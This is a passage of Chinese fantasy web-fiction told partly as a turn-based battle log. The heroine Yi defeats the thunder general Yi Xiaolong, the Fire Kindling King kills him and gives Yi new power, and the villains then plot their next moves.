伊使用太极·积蓄力量,下一个技能的伤害提高1%至200%,使用该技能后两回合内受到的伤害额外增加40%。 义晓龙使用雷之印·挥阵雷闪,对伊造成83点伤害,并施加一层雷隐。伊身负六层雷神之召。 伊使用中二少女的斗志,下一次攻击必定是先手攻击,下一次攻击的伤害提升65%。 义晓龙使用雷之印·潮云闪舞,对伊造成80点伤害,并施加一层雷隐。伊身负七层雷神之召。 伊使用神技·薪王十三连,消耗本回合全部行动数,致命攻击!清除自身所有非正面属性(包括雷神之召),解除自身麻痹状态,恢复800点生命,进入ex必杀技使用状态。 伊闭上双眼凝聚力量,她浑身泛起点点薪火,一对无形的光之翼在她背后悄悄展开。伊猛地睁开眼睛,猛烈的薪火在她的身上爆发,她顿时化身为耀眼的火种,点亮乌云笼罩之下的漆黑战场。伊将核心能量汇聚在自己的剑上,猛烈的薪火从剑镡处迅速升起,很快包裹住整个剑刃。伊的双眸散发出薪火的微光。 “接下来......就是属于我的荣耀时刻了呢!” 伊摆出蓄力前冲的架势,一对炫酷的薪火之翼在她背后爆发式展开。伊蹬地前冲身如迅雷,电光火石之间逼近她的敌人,不及对方反应,她迅速斩出一剑,随即施展华丽的薪火连斩剑舞。 “薪王——!十三连!!!” 横切、直刺、回旋斩、下劈、上挑、空中三连斩、落地前空翻下劈、冲刺二连斩、挥斩、冲刺收割斩,一套华丽至极的连招打出,场面一度令人眼花缭乱。薪火如龙般翱翔在战场之上,辗转腾挪跟随伊的脚步前进,剑锋所瞄准的地方即是它前进的方向。义晓龙在伊猛烈的攻击中来回摇摆,他试图反抗但是无济于事,最后他在薪火与舞者的共同送葬中倒下。 伊完成了她这辈子当中最帅的一次出招。做完这一切,伊露出满意的笑容,又自信地撩了下额前的刘海,举止优雅得很。 义晓龙受到点伤害,并被施加三十六层薪火、四十层仙力流逝。义晓龙采取防御措施,抵消掉1244点伤害。雷盾为义晓龙抵消500点伤害。 雷盾破碎了,还有三个雷盾存在。 义晓龙血量归一,义晓龙进入锁血状态。 仙力流逝效果的叠加令义晓龙进入三级仙力崩解状态,雷神及神备的力量大幅度削减,义晓龙所有与雷之术或雷神相关的技能的效果降低75%,自身全属性大幅度下降,修炼所带来的属性提升大幅度降低,永久损失十层力量、防御、速度、耐性。义晓龙进入三级麻痹状态。 战斗暂停中...... 义晓龙: “呼......看样子,事情出现转机了啊。” 义晓龙露出凝重的表情,这是他脸上从未出现过的表情。 义晓龙: “啧......棘手啊。” 铃兰花: “伊,你真的好厉害啊!竟然能把那个难缠的家伙打成那个样子,真是令人震惊呢。” 伊: “嘻嘻......过奖了。——这都是火薪王给的力量够强,不然我哪能将对方击溃成这样?” 铃兰花: “话虽如此,但你仍很厉害呦。” 伊: “嗯......哼哼~~~(笑声)” 铃兰花: “哦,你脸红了,是不好意思了吗?” 伊: “没事没事。突然被你这么一夸,真有些不习惯呢。” 铃兰花: “这算是在给你增加士气。我的老师曾告诉我:称赞能带给人力量。” 伊: “嗯......我感受到你说的这股力量了。它令我感到温暖。” 铃兰花: “伊,加油呀!你一定可以战胜这个难缠的家伙的。我相信你!” 伊: “放心,我一定会做到的!” 伊斗志昂扬地望向义晓龙。 伊: “说好的事,人家一定会办到的!各位,尽管拭目以待吧。” 义晓龙: “这个女人在自言自语些什么?真是古怪的家伙......” 战斗继续...... 第十九回合,义晓龙受到1750点火焰伤害。义晓龙技能:最后终焉触发,义晓龙恢复999点生命,本回合进入仙力调运状态,无法被常规途径击晕,自身受到伤害增加50%,防御力大幅度降低。义晓龙本回合拥有锁血,只有本回合后才可将义晓龙血量打至0点。 伊的意志等级提升,伊进入“薪火永恒”状态,伊永久获得六层力量、速度、再生、防御、耐性效果,且自身全属性迎来小幅度提升,本回合额外行动两次。薪火的力量凝聚在伊的浑身上下,伊展现出了前所未有的强者姿态。 义晓龙获得10层雷神之召效果。义晓龙恢复720点生命。伊恢复640点生命。义晓龙先手攻击。 义晓龙使用雷之盾·防御,本回合拥有1000点护盾值,本回合结束后消耗一个雷之盾。若护盾值归零,则直接消耗一层雷之盾。 伊使用干将莫邪,对义晓龙造成301点伤害,并施加四层薪火、七层仙力流逝。 义晓龙使用雷之盾·轰击,对伊造成91点伤害,减少伊本回合一次行动数,雷之盾耐久减少33%。 伊使用炎黄之剑,对义晓龙造成399点伤害,并施加两层薪火、两层仙力流逝。 义晓龙使用雷之盾·飞掷,对伊造成68点伤害,暂时令敌方50%的各类能量无法使用,敌方下回合第一招大概率失手。雷盾耐久减少33%。 伊使用风灵月影,致命攻击!对义晓龙造成501点伤害,并施加六层薪火、六层仙力流逝,义晓龙下回合将无法造成任何暴击。 雷盾破碎了,还有两个雷盾存在。 义晓龙使用雷之盾·轰击,伊使用横刀立马,格挡成功!雷盾耐久减少34%。 雷盾破碎了,还有一个雷盾存在。 伊使用破裂剑舞,义晓龙使用雷之盾·猛推,反制成功!伊受到75点伤害,伊正在使用的技能消减。 义晓龙使用雷之盾·飞掷,伊使用蛟龙出海,成功格挡! 伊使用华龙升腾,义晓龙使用雷之盾·猛推,反制失败!义晓龙受到381点伤害,并被施加五层薪火、十层仙力流逝。 伊使用一刀两断,致命攻击!伊汇聚全身能量,打出致命的一记下劈。 “嘿——哈——!” 义晓龙受到981点伤害,并被施加五层薪火、一层仙力流逝。 天空中落下数道闪电,仅仅劈中了伊一人,伊受到185点雷电伤害。伊身上的雷隐效果清零。 伊检查了一下战况。 义晓龙血量1,架势值12%,身负92层薪火、119层仙力流逝、十层雷神之召。义晓龙处于三级麻痹状态和三级仙力崩解状态。 伊血量1366,架势值81%。 第二十回合,义晓龙受到2300点火焰伤害。神备在义晓龙身上呈现出崩溃的趋势,他已如强弩之末。 致胜回合,义晓龙和伊本回合只许行动五次。义晓龙技能触发,义晓龙进入最后的狂暴,血量变为500点。义晓龙恢复720点生命。伊恢复640点生命。伊先手攻击。 伊使用薪火·横扫,义晓龙使用雷之印·挥阵雷闪应对,应对成功,伊受到71点伤害。 伊使用薪火·突刺,义晓龙使用雷神印·天雷一闪应对,应对失败,义晓龙受到349点伤害。 伊使用薪火·乱舞,义晓龙使用雷之印·雷索横渡应对,应对失败,义晓龙受到298点伤害。 伊使用薪火·上挑与下劈,义晓龙使用雷之印·紫霆流转应对,应对失败,义晓龙受到248点伤害。 伊使用???·想不出该叫什么名字但是帅气到爆棚的招式,义晓龙使用雷之印·天雷化音,应对失败,义晓龙受到444点伤害。 伊四赢一输,对决的结果已经显而易见了。 最终的绝杀即将来临...... 第二十一回合,终幕,双方开始最后交锋。义晓龙恢复720点生命。伊恢复640点生命。双方同时出手。 义晓龙使用雷闪冲影斩,义晓龙箭步前冲外加迅速的挥斩打出,义晓龙向伊打出致命的冲锋横斩。 伊使用凤仙凌云斩,伊箭步上前外加扭胯横扫,伊向义晓龙打出一记威力巨大的上挑侧身斩。 肉眼无法察觉的那个瞬间里,战斗便分出了胜负。 两人快速靠近彼此,几乎同时挥出了手中的兵器。伊的速度比义晓龙略微快了那0.07秒,这段极短的时间笃定了最后的结局。两道身影迅速擦过彼此,随后背对彼此在相距约五步处停了下来。 空气凝固了片刻之后,义晓龙浑身一颤。几滴鲜血顺着义晓龙的战甲滴落了下来,义晓龙难以置信地摸了摸伤口,说了句:“难以置信!”;又在体内仙力崩溃的作用下喷了一口鲜血出来,随后他开始止不住地发抖,他的肉身正处在崩溃的边缘。三秒过去,义晓龙支撑不住,随后一个重心不稳身体向后躺倒下去,他带着失败的耻辱与不甘倒下了。一位威风的将军倒在战场上,败在与一人的对局中,这对于他来说是一份沉重的耻辱! 伊的脸上流下一滴血水与一滴汗水,她脸上一道约有两厘米长的伤口正在往外滴着血,那是义晓龙身旁的雷光划出的伤痕;她的额头上滚落豆大的汗珠,那是她奋力战斗的证明。很显然在刚刚的那一次交锋中,伊并未做到无伤。但就结果而言,伊最终取得了胜利,一场漂亮的胜利! 第二十二回合,伊先手攻击。 伊使用救赎之光,义晓龙使用拒绝,救赎失败。 义晓龙血量归零.....败北! 【legendfalled】传说之人陨落! 伊取得了胜利,获得exp,等级从35级升至41级,这真是一场漂亮的胜利!足以载入伊的史册! 战斗结束...... 义晓龙扶着兵器单膝跪倒在地,他狼狈的喘息,浑身狼狈不堪,丝毫没有先前的神气与威风,将军的风采消散殆尽。对于一位将军来说,这是莫大的耻辱!他面无表情地望着面前的伊,心中不甘又暂时无可奈何,这份失败这令他感到羞耻。伊大口喘着粗气,汗水一滴一滴滚落,刚刚的那一战令她深感疲惫。伊摆出战斗架势并观察了对方一阵子,见对方迟迟不采取任何行动,于是伊放下了警惕心,薪火带来的装备随之化成碎片消散,她变回了原来的样子。 义晓龙脸上微微浮现不愿的神色,他难以置信地说:“唔......想不到,我竟然还有被女人打败的时候。”他皱起眉毛面色严峻,又咬牙切齿地说:“真令人费解!羞耻,真的羞耻。” 伊听到义晓龙的话后顿时有些生气,义晓龙言语当中隐含的傲慢令她厌恶与不爽。伊质问义晓龙: “女人,女人,女人......这个词我从你嘴里听到好几遍了。我问你,你什么意思?你难道瞧不起我们女同志吗?” 义晓龙态度很自然地说: “呵,我没有那个意思。只是......女人很常见罢了。” 伊怒上心头,怒道: “你这家伙!分明就是大男子主义好吧。” 义晓龙向伊投来看待孩子的目光,他骨子里的傲慢并未根据形势改变几分,那份桀骜不驯的性格令人感到无奈。 义晓龙有些不耐烦地说: “呵......随便你怎么说。” 义晓龙扶着兵器站起身来。 “此战不是终局,我们以后还会见面的。” 义晓龙正准备用最后的力量召唤灵兽离开。突然,火薪王飞快来到义晓龙面前并出手拦住了对方。伊见状很识趣的躲到了一片,她不会插手两人之间的恩怨。 “慢着,谁让你走了。” 义晓龙不予理睬正要闪身离开,火薪王飞速施展一个法术就令义晓龙最后一丝仙力流散殆尽。见逃跑无望,义晓龙反问火薪王: “火薪王,你要不依不饶吗?” 火薪王义正言辞的告诉他: “灭族之仇我还没找你们清算呢。” 义晓龙冷笑一声,说: “呵......你自己鲁莽的行为欺师灭祖导致你的家族灭亡,责任却要归咎于我们吗?真是可笑!” 火薪王平静地回了一句: “嗯......我并不觉得你们不需要为你们的行为付出代价。” “你一个连家室都不要的人,还会在乎你的家族吗?您可真是大发慈悲的活菩萨呀!只是可惜,你最后的名字是罪人。” “了事拂身去,深藏功与名。这份仁义道德,现在的你们是不会明白的。” 火薪王的话义晓龙并没有听进去,他讥讽火薪王: “可笑!真是可笑!仁义道德,那东西要来何用?和家畜一样的存在讲这些东西,他们能懂得几个道理?” 一转攻势,火薪王质问对方: “雷电将军啊,你若真会雷电,请在最后向我展示,那招名为‘徒手御雷化剑的精髓’的绝技。若不能,请扔掉你头饰上的雷神印记。” “呵,士可杀不可辱。” “好,我现在杀了你。” 火薪王从空气中拔出一把附着薪火的长剑。义晓龙见后非但不慌,还果断地迎了上去,势必要与对方较量出个高低。 “来吧......” 说完,义晓龙出手与火薪王打在一起。火薪王仅仅出了三招,义晓龙便承受不住伤害而重伤倒地了。倒地后,义晓龙极力试图站起,可最后又是回到单膝跪地的姿势,他还是没能站起来。面对眼前的绝境,义晓龙却感到了前所未有的释然感。义晓龙麻木空洞的眼中久违的出现了一束微弱的光。 “看来,我演了一辈子的将军,现在终于能像个战士一样战死沙场了......” 义晓龙说完这句话后,火薪王就一剑了结了他的生命。薪火伏在剑刃劈开他的右脸,色彩斑斓的仙气从他体内飘出,千百年来的修为很快放空,就像一只泄了气的气球一样,他又回到了曾经一无所有的凡胎状态。 “干得漂亮......殿下......” 说完这句遗言,他一头栽倒下去,在血泊中结束了自己的一生。天上人损失了一位将军,更损失了一位不可多得的国家之梁。雷电将军义晓龙最终死在了火薪王的剑下,他认为这样死去是痛快的,可相较于这世上其他的大将军来说,他的死法可是说是最为憋屈的一种。 火薪王在斩杀了义晓龙之后评价道: “虚伪,还是虚伪啊。” 火薪王望了一眼义晓龙的尸体,又说: “可悲......” 火薪王处理完义晓龙后,伊赶忙凑上前来向火薪王表达自己的感谢。伊诚恳地向火薪王鞠了一躬,又面带笑容地说: “谢谢你,火薪王。” 火薪王用点头的方式接受。随后,火薪王向伊说起了一件重要的事。 “阿伊,你似乎不会用太极护符的力量。凭你现在的修为,雷电将军根本不是你的对手。” 伊震惊了片刻,又惊喜地询问: “什么?真的吗?我真有这么厉害。” 火薪王解释道: “你没修过仙,自然不知道这股力量该怎么用。不过你体内的光之力貌似与这股力量是互通的,你能进入超神备状态可能就是这股能量所致。根据我的了解,残缺的光之种貌似无法产生超神备,因为它是残缺的。” 伊若有所思地点了点头,醒悟道: “原来如此。怪不得我那时候突然变厉害了。只是那时候的记忆模糊了,我并没有记下有关超神备的太多事情。” 火薪王补充: “光之种子的发育还不够完全,你还不是完整的光之子。你能进入超神备状态本身就是奇迹。” “我明白了。” 突然,火薪王伸出指头,然后靠近伊的额头轻轻一点,奇异的力量在两人的身体间飞速地移动。伊露出了害羞的表情,她本能地说了一句: “诶呦!你干嘛~” 在一阵说不出感受震荡感之后,伊突然感觉神清气爽、浑身充满了力量,不仅是刚刚的疲累感完全消失,就连自己身上那些难以愈合的伤口也都痊愈了。这一点算得上点穴的一种,它打通了伊封闭的潜力之路,相当于打通了伊的任督二脉。 完成这一点后,火薪王回答伊刚刚问的问题: “这是北武点穴法的一式,可以帮你疏通经络,便于你以后能更好的使用仙术。修仙,开门很重要,关门更重要。” 伊明白了火薪王的用意,她点头答谢: “嗯......感谢。” 这时,火薪王从随身携带的大挎包里拿出一块发着光的秘文宝石交给了伊。 “拿上这个。” 伊接过宝石细细打量了一番。 “这是......?” 火薪王解释道: “吸收它,你以后的路会更好走一些。” 伊露出委婉的表情,心中的倔强此刻展露无遗。伊犹豫着说: “这......这不太好吧。” 伊的表现勾起了火薪王的回忆。 “不肯服输的样子,和她一样啊。” 伊惊了一惊。火薪王继续说: “同样都是刚柔兼备的女人,也同样渴望变得强大。” “只是你和她走上了不同的道路。你走向光明,她走向黑暗。堕入深渊的人,再难归来呀。” 听过,伊好奇地问: “火薪王,您说的是?” 火薪王解释道: “别在意,我只是想到了我死去几千年的师傅。” 伊看出火薪王的心思,便说: “看起来,你有些难过呢。” 火薪王一听,不由得感叹: “姑娘,你真非凡人呀。啊......一晃过去这么久了。本以为放下了感情,没想到还是忘不掉呀。也好,起码我是自己的神仙。” 火薪王长叹一口气,又说: “孩子,希望你在得到力量后,别走上我师傅的老路。力量与责任平行,得与失向来都是一样的。她们不明白这个道理,所以总是沉浸在失去带来的苦痛之中。别让良心死在野心,也别让遗憾带来更多遗憾。” 伊听完火薪王的话后深受教育,伊点头道: “我明白了。谢谢你的谆谆教诲。” 说完,伊吸收了这块水晶的力量。吸收过后,这块水晶化成尘埃随风飘散了。 此时,一股强大的力量迅速涌入伊体内,伊感觉到体内的热血瞬间被点燃了,那股力量正如江河的洪流一样在她体内流转着;伊感觉自己体内仿佛住进了一颗太阳,源源不断的能量充盈在她体内,为她送上无限的活力与无限的元气。伊变得更加强大,她越来越像自己心目中那个骁勇善战的女战士了。 伊发自内心的感谢,这份力量是火薪王给予她的恩惠。 接受这份力量后,伊想起殇曾对自己说过的一句话:“力量越大,责任越大。”想到这句话后,伊决定要妥善使用这份力量。 这时,陌带着复活的不死耶稣和姜北谷子赶了过来,刚刚苏醒没多久的小咒刀也赶了过来。见到火薪王的长相,陌他们都很惊讶,惊讶之余更多是疑惑,他们印象中的火薪王并非是面前这个头部是团火球的无首之人。 “火薪王。真的是你吗?” 陌好奇的问道。火薪王听到声音转头看去,见到陌及身后的死灵时火薪王同样也表现出了惊讶的样子。比起众人的惊讶,火薪王的惊讶里多了一份看得透彻的韵味。他的眼能够看穿一切伪装。 火薪王看向陌,问道: “你是......陌·达纳拉·穆加德士?死灵术士家族的子孙。” 陌微笑着回应道: “正是。” 火薪王又看向姜北谷子,似猜似知般地问: “那位是人颂银之荆棘的剑圣姜北谷子吗?” 姜北谷子直爽的回应: “对,我就是。” 火薪王双手抱拳,恭敬地说: “幸会。” 姜北谷子赶忙做出同样的姿势,又委婉地说: “不敢当,不敢当。” 火薪王再看向不死耶稣,他以知晓者的语气问道: “那位就是天宗失踪多年的活国宝耶稣,对吗?” 不死耶稣热情地回应: “嘎嘎嘎,在下正是。” 火薪王看向一旁的伊,并称赞道: “看样子,阿伊你的团队实力够强劲啊。” 伊谦虚一笑,说: “过奖了。” 这时,被忽视的小咒刀不乐意了,它嚷嚷着问: “喂!火脑袋,你还没问我呢。” 火薪王知道小咒刀的身份,他很干脆地告诉小咒刀: “我知道你是谁。戊赦天,大名鼎鼎的弑神者,传说中的五圣之一。” 小咒刀一脸尴尬地说: “额......看来是我误会了。” 这时,周围的景象变得稍许梦幻起来。天上出现了丝带一般飘舞的霞光,它们一段又一段铺在广袤无垠的天幕上,彼此交替或是平行,朝向统一向前,其外表似仙女织出来的光彩亮丽的丝布,又似天上的神兵部署在天空上蜿蜒的长城,看起来既有优美也有雄伟,令人好不赞叹它的美丽。地面上升起光点汇聚成条条金丝带,穿插过森林与草地,似溪流又似江河;它披着如黎明曙光的闪耀之光流过这片土地上的每一个地方,似地面上的流星雨带来无数种指引前进的力量,又似无名的灯塔带给人前进的方向,让人凝望时不禁陷入对未来的想象。它们末端统统指向了一个方向,那个方向是伊他们要去的地方——圣殿。 伊一行人望着眼前的景象备受震撼,这番梦幻的景象是只会在梦境中出现的,因此它看起来令人难以置信。火薪王望着眼前梦幻的景象,他却放松不起来,他焦急地告诉伊: “阿伊,你们赶快顺着天上的霞光与地面上的曙光的指引前往圣殿,绝对要抢在天上人之前成为圣君仁华啊!” 火薪王这一份打断了伊的注视,伊也一瞬之间想起了正事。这时,小咒刀飞到火薪王面前,甚是自信的告诉火薪王: “放心。没有我,他们进不去圣殿。” 火薪王严肃地告诉小咒刀: “戊赦天,你低估天上人的实力了。像你这样的神话武器,他们足足有六十八把。随便一把都能当做开门的钥匙。” “啊?!不会吧,这年头神话武器都这么多了吗?”小咒刀心里一惊,顿时感受到危机感,它又转头告诉伊,“那我们得抓紧了!主人,快走吧。” 伊微笑着回应: “嗯。” 陌在一旁也觉得火薪王说的有道理,他催促伊: “事不宜迟,伊小姐,我们快走吧。” 伊点了点头。临走前,伊突然奇想想要询问火薪王几个问题。 “火薪王,请问一下,我可以问你一个问题吗?” 伊问,火薪王回应: “客气了。问吧,阿伊。” 伊问出了心中的疑问: “你也是天上人,为何要这样敌视自己的同胞呢?” 火薪王解释道: “他们的自私腐朽了他们的灵魂。曾答应给苍生的一切,不该被毁约的窃贼独占。本就是天下的财富,哪能仅有一族独享?以慈悲为荣、以武德为求,风光!可惜往日不再,只剩苍凉。——我不过是遵循先王的意志,代表苍生讨伐叛贼而已,哪怕那叛贼是举国之民。若心仍如当年的雪,那火就不会烧得猛烈。” 伊听后不由得夸赞火薪王: “我明白了。您真是个仗义的人。” 火薪王谦虚地微微叩首,又语重心长的告诉伊: “阿伊,天上人本质其实就是普普通通的人,天下各民族也同样如此,这其中也包括自古以来一直被世人排挤的妖族。” “那所谓的仙......” “根本上也是人,与我们无异。” “哦,原来如此。我还以为仙是超越人类的存在呢。” “不同的民族有不同的文化、底蕴、内涵与智慧,他们本该在世界大舞台上共同起舞,何来高低贵贱之分?无非是人性之恶在作祟,想让独裁笼罩世界罢。我想,世界人民一定不会同意这样无礼的要求。——不顺应时代的秩序,在时代的洪流下终将垮塌,社会终究是要进步的。” “说得对。世界各民族本就是平等的,不该遭受任何不公平的对待。至于独霸一方的想法,更是无理取闹。” “薪火之力已赠予你,愿你与世界人民携手粉碎任何邪魅之人的野心。” “我会的!火薪王。” “阿伊,叫我钟离爷爷就行。” “好的,钟离爷爷。” “薪火之力能激发你体内的护符之力,薪火、核心、仙术、魔法、光之能量均可为你随意使用,这能在你前进的道路上帮到你许多。” “哇!这么厉害。” “没错。不过,想要变得强大,根本还是在你自己的悟性。” “悟性?是指觉悟吗?” “你可以这么理解。” “提升觉悟就能变强......听起来很不错呢。” “我只能告诉你到这里,剩下的事还需要你自己去领悟。为你打通终点的门,但路还得你自己走。” “嗯......我明白了。” 告诉完这些,火薪王打了个响指,一只金羽神雀随之而来。火薪王跳上神雀,站在神雀上与伊一行人进行最后的道别。 “勇士们。事不宜迟,赶快启程吧。我要去找我的老朋友谈话,顺带帮你们清理点麻烦。我只能帮你们到这里了,剩下的就由你们自己来处理吧。” 说完,火薪王乘神雀而去,他的身影很快消失在伊的视线尽头。伊带着敬佩之心向火薪王挥手道别,并微笑着说: “拜拜,一路顺风。” 告别完火薪王,伊一行人也该继续他们的旅途了。这时,陌提醒伊: “伊小姐,事不宜迟,我们该出发了。” 伊回应了一声: “嗯。” 说完,伊一行人就踩着地面上的霞光,奔赴远方的神殿。雷将军的尸骸在风中化成紫色郁金香花瓣飘散,远处某个地方也有一朵紫色郁金香枯萎,这预示着支撑天上人势力延续的一大顶梁柱的崩解。潜藏在暗处的邪恶之人见到这一切的发生,不由得眉头紧锁,面露狰狞之色。 秦武(气神门第二十任仙凌华——一仙主的上级、神门至高管理者的称呼): “那个男人出现了,吾之义子陨落。这盘棋......越来越有难度了。” 越秋阳(木神门第十七任仙凌华): “秦老兄,请节哀。” 秦武: “无可奈何。火薪王是我们难以击败的敌人,他的搅局使事情变得非常棘手,我们也只能绕开他行动。目前这个状况和他去硬碰硬,只会增加我们消亡的速度。智取,才是唯一的出路啊。” 越秋阳: “那倒确实。谁叫他是人间最强呢?” 秦武: “茅坑里的石头,又臭又硬。” 越秋阳: “对了,秦老兄。除了雷电将军以外,还有其他强手去禁域吗?” 秦武: “邵殷花将九族之三的土神门二仙主刘煜刘仙主请了过来。根据时间来推算,现在应该已经在禁域落脚了。” 越秋阳: “那个家伙可靠吗?” 秦武: “天宫坤字军的干部,据我了解是个老实稳重的人。但就实力而言,还不及我养子五成功夫。” 越秋阳: “你认真的?秦老兄。这是在浪费人力资源!” 秦武: “呵.....这也是无可奈何的事情。谁叫他答应人邵殷花了呢?他是个固执又倔强的人,不会因为三言两语就掉头回去的。不见棺材不掉泪,跟头驴似的。” 越秋阳: “哎呀!真是的,融会变通点不行?真是没招呀......——不过......能有个人为我们试探对方底细,也倒是件好事。” 秦武: “甭管谁去,牺牲总是要有的。那个名叫‘伊’的女人,她体内拥有我们无法想象的力量。因此邵殷花一直在关注她,觊觎她体内那股神秘的力量。可就论现在的结果来说,取出那份力量何其困难啊?!” 越秋阳: “别灰心,秦老兄。相信我们自己人的实力,我们可都是仙人。得不到的东西大不了就毁掉,只要别人拿到不就可以了吗?” 秦武: “你可真够腹黑的。不过......我就稀罕这样的人当我的兄弟。” 越秋阳: “嘿嘿,彼此彼此。” 秦武: “还有......那个婢女家的事怎么样了?” 越秋阳: “放心,义子都为你处理妥当了。背叛您儿子的女人,哪有道理可说呢?活该变成义晓龙的‘浪漫艺术’,这种叛徒最可恨!” 秦武: “说的不错。想要团结天上人,最需要这种同仇敌忾的精神。” 这时,秦武想到了一个重要的问题。 秦武: “龙族那些人现在开拓多少疆土了?” 越秋阳: “一百来座城市吧。” 秦武: “我突然觉得龙族那些家伙很聪明。这样入侵这些凡人的世界也是种稳妥的解决眼下问题的方式。” 越秋阳: “可这样也是有缺陷的呀!就我们了解的情报来说,猎龙者一直在消灭龙族的人,尤其是精英!龙族七个部被他们杀得只剩一部、四部、六部这三个部了。前几年龙族三部刘牧北海那件事我至今印象深刻,他们丢了我们天上人的脸面!” 秦武: “龙族这群家伙......终究是有头脑没力量的一伙人啊。” 越秋阳: “就事论事,我觉得龙族其实不赖,但就是太狂妄了。骄兵必败,这是我们大多数同胞都该明白的道理。可惜......生在沃土的他们早就放不下那颗高傲的头颅了。我们这一代人中,有几个是真正说得上对所有人一视同仁又富有正确思考能力的智者呢?” 秦武: “真是令人苦恼啊!” 这时,邵殷花很着急地走进了两人的房间。 邵殷花(圣神门第十九任仙凌华): “你们这两个大老爷们别闲聊了,赶快过来吧!情况有变,我们需要制定下一步的行动方针。” 越秋阳: “是因为禁域的事吗?” 邵殷花: “不止这些,还有很多很多麻烦事呢。” 越秋阳: “哎呀!真是令人头疼的一天。” 越秋阳: “别抱怨了,赶紧过来吧两位。” 之后,秦武、越秋阳、邵殷花三人开始了针对下一步行动计划的研讨会。这一场研讨会,不知是第多少场“决定”天上人命运的会议了。